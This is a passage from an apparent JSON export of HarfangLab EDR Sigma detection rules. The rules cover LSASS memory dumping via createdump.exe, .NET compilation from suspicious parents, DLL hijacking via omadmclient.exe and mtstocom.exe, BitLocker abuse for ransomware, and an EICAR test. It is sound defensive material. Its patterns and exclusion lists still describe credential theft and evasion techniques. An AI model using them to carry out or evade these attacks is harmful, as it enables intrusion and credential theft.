+  "content": "title: Process Memory Dumped via createdump.exe\nid: 869b436c-0aaf-41f9-aad5-edb0d72e4f92\ndescription: |\n    Detects a suspicious attempt to dump a process' memory using createdump.exe, the .NET Crash Dump Generator.\n    This binary can be used as a LOLBin in order to dump the LSASS' process memory.\n    Adversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS).\n    These credential materials can be harvested by an administrative user or SYSTEM and used to conduct Lateral Movement or Privilege Escalation.\n    It is recommended to analyze the parent process for suspicious activities, investigate any further malicious actions on the host and to start memory forensics to determine materials stolen from memory.\nreferences:\n    - https://twitter.com/ShitSecure/status/1590655082864906240\n    - https://strontic.github.io/xcyclopedia/library/createdump.exe-0464C3912C3B38C27F5DD2D64E09B0BF.html\n    - https://lolbas-project.github.io/lolbas/OtherMSBinaries/Createdump/\n    - https://attack.mitre.org/techniques/T1003/001/\ndate: 2022/11/14\nmodified: 2026/03/20\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1003.001\n    - attack.t1078\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.CreateDump\n    - classification.Windows.Behavior.CredentialAccess\n    - classification.Windows.Behavior.SensitiveInformation\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_bin:\n        - Image|endswith: '\\createdump.exe'\n        - Description: 'Microsoft .NET Runtime Crash Dump Generator'\n\n    # Arguments are required\n    selection_commandline:\n        CommandLine|contains: ' '\n\n    exclusion_squirreltemp:\n        Image|endswith: '\\AppData\\Local\\\\*\\app-*\\createdump.exe'\n        ParentImage|endswith: '\\AppData\\Local\\SquirrelTemp\\Update.exe'\n\n    exclusion_kenora:\n        Image|contains: '\\Kenora.GSST.Instrument.Client\\'\n\n    exclusion_vistasoft:\n        ParentImage: '?:\\Program Files\\Duerr\\VistaSoft\\Binaries\\Duerr.DigitalDiagnostics.Applications.VistaSoft.WorkstationService.exe'\n\n    condition: all of selection_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "869b436c-0aaf-41f9-aad5-edb0d72e4f92",
+  "rule_name": "Process Memory Dumped via createdump.exe",
+  "rule_description": "Detects a suspicious attempt to dump a process' memory using createdump.exe, the .NET Crash Dump Generator.\nThis binary can be used as a LOLBin in order to dump the LSASS' process memory.\nAdversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS).\nThese credential materials can be harvested by an administrative user or SYSTEM and used to conduct Lateral Movement or Privilege Escalation.\nIt is recommended to analyze the parent process for suspicious activities, investigate any further malicious actions on the host and to start memory forensics to determine materials stolen from memory.\n",
+  "rule_creation_date": "2022-11-14",
+  "rule_modified_date": "2026-03-20",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1003.001",
+    "attack.t1078"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "86b6d127-f438-4d94-8754-6dc95226d73d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "low",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.617981Z",
+  "creation_date": "2026-03-23T11:45:34.617983Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.617987Z",
+  "rule_level": "low",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1204/"
+  ],
+  "name": "t1204_harfanglab_eicar_macos.yml",
+  "content": "title: Harfanglab EICAR (macOS)\nid: 86b6d127-f438-4d94-8754-6dc95226d73d\ndescription: |\n    This is a test rule that detects the string 'EICAR-STANDARD-HARFANGLAB-TEST-STRING' inside the command-line of a process.\n    EICAR files are files that were originally used to test the response of computer AV programs. HarfangLab has used this concept to create a test rule for its EDR.\n    This does not represent inherently malicious activity and there should be no need for investigation if these tests are expected in your environment.\n    If this rule has triggered, it means that HarfangLab EDR detection engines are operating properly.\nreferences:\n    - https://attack.mitre.org/techniques/T1204/\ndate: 2023/11/30\nmodified: 2025/01/27\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1204\n    - classification.macOS.Source.ProcessCreation\n    - classification.macOS.Malware.EICAR\nlogsource:\n    category: process_creation\n    product: macos\ndetection:\n    selection:\n        CommandLine|contains: 'EICAR-STANDARD-HARFANGLAB-TEST-STRING'\n    condition: selection\nlevel: low\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "86b6d127-f438-4d94-8754-6dc95226d73d",
+  "rule_name": "Harfanglab EICAR (macOS)",
+  "rule_description": "This is a test rule that detects the string 'EICAR-STANDARD-HARFANGLAB-TEST-STRING' inside the command-line of a process.\nEICAR files are files that were originally used to test the response of computer AV programs. HarfangLab has used this concept to create a test rule for its EDR.\nThis does not represent inherently malicious activity and there should be no need for investigation if these tests are expected in your environment.\nIf this rule has triggered, it means that HarfangLab EDR detection engines are operating properly.\n",
+  "rule_creation_date": "2023-11-30",
+  "rule_modified_date": "2025-01-27",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1204"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "86d4bfcf-b95a-4574-ae9a-bb54d1a857ec",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.624357Z",
+  "creation_date": "2026-03-23T11:45:34.624359Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.624363Z",
+  "rule_level": "medium",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1027/004/"
+  ],
+  "name": "t1027_004_suspicious_process_parent_csc.yml",
+  "content": "title: Suspicious parent process for .NET code compiler\nid: 86d4bfcf-b95a-4574-ae9a-bb54d1a857ec\ndescription: |\n    Detects an uncommon process launching csc.exe or vbc.exe. These binaries are used to compile .NET code.\n    Attackers may compile their payload directly on the compromised host to bypass defense mechanism.\n    It is recommended to check the processes tree for suspicious execution after the compilation.\nreferences:\n    - https://attack.mitre.org/techniques/T1027/004/\ndate: 2021/06/18\nmodified: 2025/11/28\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1027.004\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.Csc\n    - classification.Windows.LOLBin.Vbc\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_process:\n        - Image|endswith:\n            - '\\csc.exe'\n            - '\\vbc.exe'\n        - OriginalFileName:\n            - 'csc.exe'\n            - 'vbc.exe'\n\n    selection_parentimage:\n        ParentImage|endswith:\n            - '\\cmd.exe'\n            - '\\wscript.exe'\n            - '\\cscript.exe'\n            - '\\mshta.exe'\n            - '\\wmic.exe'\n            - '\\svchost.exe'\n            - '\\rundll32.exe'\n            - '\\regsvr32.exe'\n            - '\\cmstp.exe'\n\n    selection_powershell:\n        ParentImage|endswith: '\\powershell.exe'\n\n    # Avoid false positive when PowerShell use cmdlet Add-Type.\n    selection_powershell_commandline:\n        CommandLine|contains: ' /noconfig /fullpaths '\n\n    exclusion_grandparent:\n        GrandparentImage:\n            - '?:\\Program Files\\NAKIVO Backup & Replication\\transporter\\bh.exe'\n            - '?:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseIR.exe'\n            - '?:\\Windows\\System32\\svchost.exe'\n            - '?:\\Windows\\System32\\RuntimeBroker.exe'\n            - '?:\\Program Files\\CYBERWATCH SAS\\CyberwatchAgent\\cyberwatch-agent.exe'\n            - '?:\\Program Files (x86)\\Symantec\\Symantec Endpoint Protection\\\\*\\Bin\\ccSvcHst.exe'\n\n    exclusion_commandline:\n        CommandLine|contains:\n            - '?:\\Windows\\system32\\cmd.exe /c D:\\\\*\\\\*.BAT'\n            - '?:\\Windows\\SysWOW64\\cscript.exe D:\\\\*\\\\*.vbs'\n            - '?:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -noProfile -File D:\\\\*\\\\*.ps1'\n\n    exclusion_vscode:\n        GrandparentImage|endswith:\n            - '\\Microsoft VS Code\\Code.exe'\n            - '\\Microsoft.Sara.exe'\n\n    # rufus-3.14.exe\n    exclusion_rufus:\n        ParentImage|endswith: '\\powershell.exe'\n        ParentCommandLine|contains|all:\n            - '\\AppData\\Local\\Temp\\Rufus.ico'\n            - '-AppTitle'\n\n    exclusion_chocolatey:\n        ParentImage|endswith: '\\powershell.exe'\n        ParentCommandLine|contains|all:\n            - 'DownloadString'\n            - 'chocolatey.org'\n\n    exclusion_ad_health_adfs_agent:\n        # C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -NoExit -Command &{write-host Executing Elevated PowerShell Command: Register-AzureADConnectHealthADFSAgent; import-module $env:ProgramW6432\\Azure` Ad` Connect` Health` Adfs` Agent\\PowerShell\\AdHealthAdfs; Register-AzureADConnectHealthADFSAgent}\n        ParentCommandLine|contains|all:\n            - 'AdHealthAdfs'\n            - 'Register-AzureADConnectHealthADFSAgent'\n\n    exclusion_node:\n        ParentImage|endswith: '\\powershell.exe'\n        GrandparentImage: '?:\\Program Files\\nodejs\\node.exe'\n\n    exclusion_unity:\n        ParentImage|endswith: '\\cmd.exe'\n        GrandparentImage:\n            - '?:\\Program Files\\Unity\\Hub\\Editor\\\\*\\Editor\\Unity.exe'\n            - '?:\\Program Files\\Unity\\Editor\\Unity.exe'\n\n    exclusion_gitlab:\n        ParentImage|endswith: '\\powershell.exe'\n        GrandparentImage|endswith: '\\gitlab-runner.exe'\n\n    exclusion_amazon_ec2_cmd:\n        ParentImage|endswith: '\\powershell.exe'\n        GrandparentImage|endswith: '\\cmd.exe'\n        ParentCommandLine|contains|all:\n            - '-NonInteractive'\n            - '-ExecutionPolicy Unrestricted'\n            - 'Import-Module'\n            - '?:\\ProgramData\\Amazon\\EC2-Windows\\Launch\\Module\\'\n\n    exclusion_amazon_ec2_powershell:\n        ParentImage|endswith: '\\powershell.exe'\n        GrandparentImage|endswith: '\\powershell.exe'\n        GrandparentCommandLine|contains|all:\n            - '-NonInteractive'\n            - '-ExecutionPolicy Unrestricted'\n            - 'Import-Module'\n            - '?:\\ProgramData\\Amazon\\EC2-Windows\\Launch\\Module\\'\n\n    exclusion_amazon_workspace:\n        ParentImage|endswith: '\\powershell.exe'\n        GrandparentImage|endswith: '\\powershell.exe'\n        ParentCommandLine|contains|all:\n            - '-NonInteractive'\n            - '-ExecutionPolicy AllSigned'\n            - '?:\\Program Files\\Amazon\\WorkSpacesConfig\\Scripts\\'\n\n    exclusion_rmm_agent:\n        # C:\\WINDOWS\\sysnative\\windowspowershell\\v1.0\\powershell.exe  -ExecutionPolicy Bypass -File \"C:\\ProgramData\\NinjaRMMAgent\\scripting\\customscript_gen_4.ps1\"\n        # C:\\WINDOWS\\sysnative\\windowspowershell\\v1.0\\powershell.exe  -ExecutionPolicy Bypass -File \"C:\\ProgramData\\NinjaRMMAgent\\scripting\\customscript_gen_3.ps1\"\n        # C:\\WINDOWS\\sysnative\\windowspowershell\\v1.0\\powershell.exe -ExecutionPolicy Bypass -File \"C:\\ProgramData\\NinjaRMMAgent\\scripting\\customscript_gen_2.ps1\"\n        ParentImage|endswith: '\\powershell.exe'\n        ParentCommandLine|contains: '?:\\ProgramData\\NinjaRMMAgent\\scripting'\n\n    exclusion_intune:\n        # \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -NoProfile -executionPolicy bypass -file \"C:\\Program Files (x86)\\Microsoft Intune Management Extension\\Policies\\Scripts\\22d3400d-2aa6-48d2-a41c-6c82142e62ff_0563412a-11dc-470c-a210-f9f2ff33ccb9.ps1\"\n        ParentImage|endswith: '\\powershell.exe'\n        ParentCommandLine|contains: '?:\\Program Files (x86)\\Microsoft Intune Management Extension\\Policies\\Scripts\\'\n\n    exclusion_bootxray:\n        ParentImage|endswith: '\\powershell.exe'\n        # powershell.exe -ExecutionPolicy Bypass -Command &{Import-Module (Join-Path $env:ProgramData 'Microsoft Services BootXRay\\BxrR') ; Invoke-BxrR__PostBootActions2 }\n        ParentCommandLine|contains|all:\n            - 'Import-Module'\n            - 'Microsoft Services BootXRay\\BxrR'\n            - 'Invoke-BxrR'\n        GrandparentImage|endswith: '\\cmd.exe'\n        # C:\\WINDOWS\\system32\\cmd.EXE /C C:\\ProgramData\\Microsoft Services BootXRay\\BxrR\\Resource\\Invoke-BxrR__PostBootActions1.bat 120 60\n        GrandparentCommandLine|contains: '?:\\ProgramData\\Microsoft Services BootXRay\\BxrR\\Resource\\Invoke-BxrR'\n\n    exclusion_dev:\n        ParentCommandLine|contains: '?:\\Program Files\\Microsoft Visual Studio\\\\*\\VsDevCmd.bat'\n\n    exclusion_installer:\n        ProcessCommandLine|contains:\n            - 'rundll32.exe ?:\\Users\\\\*\\AppData\\Local\\Temp\\MSI????.tmp,zzzzInvokeManagedCustomActionOutOfProc SfxCA_'\n            - 'rundll32.exe ?:\\WINDOWS\\Installer\\MSI????.tmp,zzzzInvokeManagedCustomActionOutOfProc SfxCA_'\n\n    condition: selection_process and ((selection_parentimage) or (selection_powershell and not selection_powershell_commandline)) and not 1 of exclusion_*\nlevel: medium\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "86d4bfcf-b95a-4574-ae9a-bb54d1a857ec",
+  "rule_name": "Suspicious parent process for .NET code compiler",
+  "rule_description": "Detects an uncommon process launching csc.exe or vbc.exe. These binaries are used to compile .NET code.\nAttackers may compile their payload directly on the compromised host to bypass defense mechanism.\nIt is recommended to check the processes tree for suspicious execution after the compilation.\n",
+  "rule_creation_date": "2021-06-18",
+  "rule_modified_date": "2025-11-28",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1027.004"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "86ec5e94-2fe7-4419-883a-d2a53ddfd4b2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.599354Z",
+  "creation_date": "2026-03-23T11:45:34.599357Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.599365Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_omadmclient.yml",
+  "content": "title: DLL Hijacking via omadmclient.exe\nid: 86ec5e94-2fe7-4419-883a-d2a53ddfd4b2\ndescription: |\n    Detects potential Windows DLL Hijacking via omadmclient.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'omadmclient.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\coredplus.dll'\n            - '\\cryptsp.dll'\n            - '\\DEVOBJ.dll'\n            - '\\DMCfgUtils.dll'\n            - '\\DMCmnUtils.dll'\n            - '\\dmEnrollEngine.DLL'\n            - '\\dmenterprisediagnostics.dll'\n            - '\\dmiso8601utils.dll'\n            - '\\DMOleAutUtils.dll'\n            - '\\dmxmlhelputils.dll'\n            - '\\IPHLPAPI.DLL'\n            - '\\iri.dll'\n            - '\\msvcp110_win.dll'\n            - '\\omadmapi.dll'\n            - '\\policymanager.dll'\n            - '\\profapi.dll'\n            - '\\umpdc.dll'\n            - '\\USERENV.dll'\n            - '\\XmlLite.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "86ec5e94-2fe7-4419-883a-d2a53ddfd4b2",
+  "rule_name": "DLL Hijacking via omadmclient.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via omadmclient.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "86f9066e-8897-465c-a981-974f87b66ed6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.082549Z",
+  "creation_date": "2026-03-23T11:45:34.082551Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.082556Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_mtstocom.yml",
+  "content": "title: DLL Hijacking via mtstocom.exe\nid: 86f9066e-8897-465c-a981-974f87b66ed6\ndescription: |\n    Detects potential Windows DLL Hijacking via mtstocom.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'mtstocom.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\SspiCli.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "86f9066e-8897-465c-a981-974f87b66ed6",
+  "rule_name": "DLL Hijacking via mtstocom.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via mtstocom.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "8725a177-c7fd-4bad-a3e7-915fc609c991",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.609567Z",
+  "creation_date": "2026-03-23T11:45:34.609570Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.609578Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.microsoft.com/security/blog/2022/09/07/profiling-dev-0270-phosphorus-ransomware-operations/",
+    "https://arcticwolf.com/resources/blog/lorenz-ransomware-chiseling-in/",
+    "https://attack.mitre.org/techniques/T1486/"
+  ],
+  "name": "t1486_suspicious_bitlocker_installation.yml",
+  "content": "title: BitLocker Installed via PowerShell\nid: 8725a177-c7fd-4bad-a3e7-915fc609c991\ndescription: |\n    Detects the suspicious installation of Bitlocker through PowerShell.\n    This technique has been abused by DEV-0270 in a September 2022 campaign to encrypt disk drives for impact.\n    It is recommended to analyze other commands executed within the PowerShell session using the telemetry to determine whether this actions is legitimate.\nreferences:\n    - https://www.microsoft.com/security/blog/2022/09/07/profiling-dev-0270-phosphorus-ransomware-operations/\n    - https://arcticwolf.com/resources/blog/lorenz-ransomware-chiseling-in/\n    - https://attack.mitre.org/techniques/T1486/\ndate: 2022/10/06\nmodified: 2025/03/12\nauthor: HarfangLab\ntags:\n    - attack.impact\n    - attack.t1486\n    - classification.Windows.Source.PowerShellEvent\n    - classification.Windows.Script.PowerShell\n    - classification.Windows.Behavior.Encryption\nlogsource:\n    category: powershell_event\n    product: windows\ndetection:\n    selection_install:\n        PowershellCommand|contains|all:\n            - 'Install-WindowsFeature '\n            - 'BitLocker'\n\n    selection_enabling:\n        PowershellCommand|contains|all:\n            - 'Enable-BitLocker '\n            - 'EncryptionMethod '\n            - 'skiphardwaretest '\n            - 'password'\n\n    exclusion_recoverypassword:\n        PowershellCommand|contains: '-RecoveryPasswordProtector'\n\n    exclusion_mbam_recovery:\n        ProcessCommandLine|contains: '\\bin\\x64\\mbamrecoveryserviceinstaller.ps1'\n\n    condition: 1 of selection_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "8725a177-c7fd-4bad-a3e7-915fc609c991",
+  "rule_name": "BitLocker Installed via PowerShell",
+  "rule_description": "Detects the suspicious installation of Bitlocker through PowerShell.\nThis technique has been abused by DEV-0270 in a September 2022 campaign to encrypt disk drives for impact.\nIt is recommended to analyze other commands executed within the PowerShell session using the telemetry to determine whether this actions is legitimate.\n",
+  "rule_creation_date": "2022-10-06",
+  "rule_modified_date": "2025-03-12",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.impact"
+  ],
+  "rule_technique_tags": [
+    "attack.t1486"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "8732348d-98d7-4fca-bbec-2a24b491b836",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
